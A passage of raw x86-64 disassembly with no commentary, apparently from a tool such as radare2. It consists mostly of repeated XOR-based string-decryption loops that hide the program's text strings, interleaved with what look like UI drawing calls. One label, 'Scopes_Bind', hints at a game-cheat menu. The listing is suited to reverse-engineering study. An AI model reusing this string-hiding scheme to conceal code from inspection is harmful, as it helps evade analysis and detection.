call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006c6a7
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006c6ae
mov byte [0x14008ae2b], 0
jmp 0x14006c7f9
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006c7f9
lea rdx, [rbp + 0x370]
mov byte [rbp + 0x1e], 0
lea rcx, [rbp + 0x1e]
call fcn.1400700f0
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14006c7f4
cmp edi, 2
jl 0x14006c7b1
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14006c7f4
mov r9, rcx
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006c7c0
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x378]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xbc]
mov byte [rbp + 0x1f], 0
lea rcx, [rbp + 0x1f]
mov rbx, rax
call fcn.140070100
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006c85e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008cc18]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1b4]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x1c0]
mov byte [rbp + 0x20], 0
lea rcx, [rbp + 0x20]
mov rbx, rax
call fcn.140070120
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14006c9d4
cmp edi, 2
jl 0x14006c993
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14006c9d4
mov r9, rcx
xor r8d, r8d
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006c9a0
mov r8, rbx
lea rdx, [0x14008ba78]
call fcn.14003a280
cmp byte [0x14008a0c8], 0
je 0x14006cb8c
lea rdx, [rbp + 0x10f0]
mov byte [rbp + 0x21], 0
lea rcx, [rbp + 0x21]
call fcn.140070130
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14006cb64
xor r8d, r8d
cmp edi, 2
jl 0x14006cb25
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006ca30
cmp r8d, 0x12
jge 0x14006cb64
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14006cb30
mov rcx, r10
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006cb8c
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006cb93
mov byte [0x14008ae2b], 0
jmp 0x14006cd1c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006cd1c
lea rdx, [rbp + 0x1168]
mov byte [rbp + 0x22], 0
lea rcx, [rbp + 0x22]
call fcn.140070150
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14006cd14
xor r8d, r8d
cmp edi, 2
jl 0x14006ccd5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006cbe0
cmp r8d, 0x13
jge 0x14006cd14
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14006cce0
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f864]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006cd90
lea rdx, [rbp + 0x114]
mov byte [rbp + 0x23], 0
lea rcx, [rbp + 0x23]
call fcn.140070180
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006cd6b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006cd90
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006cd97
mov byte [0x14008ae2b], 0
jmp 0x14006cde4
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006cde4
lea rdx, [rbp + 0x3f0]
mov byte [rbp + 0x24], 0
lea rcx, [rbp + 0x24]
call fcn.1400701a0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006cddc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1c8]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xcc]
mov byte [rbp + 0x25], 0
lea rcx, [rbp + 0x25]
mov rbx, rax
call fcn.1400701c0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006ce49
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008bda8]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1d0]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x18c]
mov byte [rbp + 0x26], 0
lea rcx, [rbp + 0x26]
mov rbx, rax
call fcn.1400701e0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14006cebc
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov r8, rbx
lea rdx, [0x14008c9d8]
mov rcx, rax
call fcn.14003a280
call fcn.14000b700
movss xmm0, dword [0x14007f878]
movaps xmm1, xmm12
call fcn.140012400
movss xmm2, dword [0x14007f878]
lea rcx, [rbp + 0x1d8]
movss xmm1, dword [0x14007f888]
call fcn.140002a20
lea rdx, [rbp + 0x194]
mov byte [rbp + 0x27], 0
lea rcx, [rbp + 0x27]
mov rbx, rax
call fcn.14006f670
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14006cf3c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14000b670
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f840]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006d02e
lea rdx, [rbp + 0x19c]
mov byte [rbp + 0x28], 0
lea rcx, [rbp + 0x28]
call fcn.140070210
mov rbx, rax
movzx eax, byte [rax + 6]
test al, al
je 0x14006cfb2
xor byte [rbx], 0x34
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x36
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x38
xor byte [rbx + 5], 0x39
xor al, 0x3a
mov byte [rbx + 6], al
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x750]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x760]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x760]
call fcn.1400383d0
cmp byte [0x14008a0c8], 1
jne 0x14006d00e
cmp byte [0x14008ae2b], 1
jne 0x14006d00e
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14006d02e
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006d02e
lea rcx, str.Scopes_Bind
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14006d1e7
lea rdx, [rbp + 0x6a0]
mov byte [rbp + 0x29], 0
lea rcx, [rbp + 0x29]
call fcn.140070240
mov rbx, rax
cmp byte [rax + 0xe], 0
je 0x14006d184
xor r8d, r8d
cmp edi, 2
jl 0x14006d13d
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006d150
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x770]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x780]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x14006d1e7
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006d1e7
lea rcx, [0x14007e2f0]
call fcn.140013150
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f82c]
movaps xmm1, xmm12
call fcn.140012400
lea rdx, [rbp + 0x58]
mov byte [rbp + 0x2a], 0
lea rcx, [rbp + 0x2a]
call fcn.140070270
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14006d22a
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor cl, 0x36
mov byte [rax + 2], cl
mov rcx, rax
call fcn.1400382d0
movss xmm0, dword [0x14007f86c]
movaps xmm1, xmm12
call fcn.140012400
lea rdx, [rbp + 0x60]
mov byte [rbp + 0x2b], 0
lea rcx, [rbp + 0x2b]
call fcn.140070290
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14006d304
cmp edi, 2
jl 0x14006d2c6
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x14006d304
mov r9, rcx
xor r8d, r8d
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14006d2d0
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1e0]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0xd4]
mov byte [rbp + 0x2c], 0
lea rcx, [rbp + 0x2c]
mov rbx, rax
call fcn.1400702a0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006d36e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, rbx
lea rdx, [0x14008a320]
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1e8]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x11c]
mov byte [rbp + 0x2d], 0
lea rcx, [rbp + 0x2d]
mov rbx, rax
call fcn.1400702c0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14006d3dd
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov r8, rbx
lea rdx, [0x14008a2e8]
mov rcx, rax
call fcn.14003a280
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f824]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006d473
lea rdx, [rbp + 0xdc]
mov byte [rbp + 0x2e], 0
lea rcx, [rbp + 0x2e]
call fcn.1400702e0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006d44b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006d473
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006d47a
mov byte [0x14008ae2b], 0
jmp 0x14006d5fc
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006d5fc
lea rdx, [rbp + 0x1048]
mov byte [rbp + 0x2f], 0
lea rcx, [rbp + 0x2f]
call fcn.140070300
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006d5f4
xor r8d, r8d
cmp edi, 2
jl 0x14006d5b6
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006d4c1
cmp r8d, 0x11
jge 0x14006d5f4
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006d5c0
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f85c]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006d779
lea rdx, [rbp + 0x1f0]
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
call fcn.140070320
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14006d754
cmp edi, 2
jl 0x14006d715
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14006d754
mov r9, rcx
xor r8d, r8d
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006d720
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006d779
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006d780
mov byte [0x14008ae2b], 0
jmp 0x14006d90c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006d90c
lea rdx, [rbp + 0x11e0]
mov byte [rbp + 0x31], 0
lea rcx, [rbp + 0x31]
call fcn.140070330
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14006d904
xor r8d, r8d
cmp edi, 2
jl 0x14006d8c5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006d7d0
cmp r8d, 0x17
jge 0x14006d904
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14006d8d0
mov rcx, r10
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x1f8]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x1a4]
mov byte [rbp + 0x32], 0
lea rcx, [rbp + 0x32]
mov rbx, rax
call fcn.140070360
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14006d979
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov r8, rbx
lea rdx, str.stdu
mov rcx, rax
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm1, dword [0x14007f83c]
lea rcx, [rbp + 0x200]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x400]
mov byte [rbp + 0x33], 0
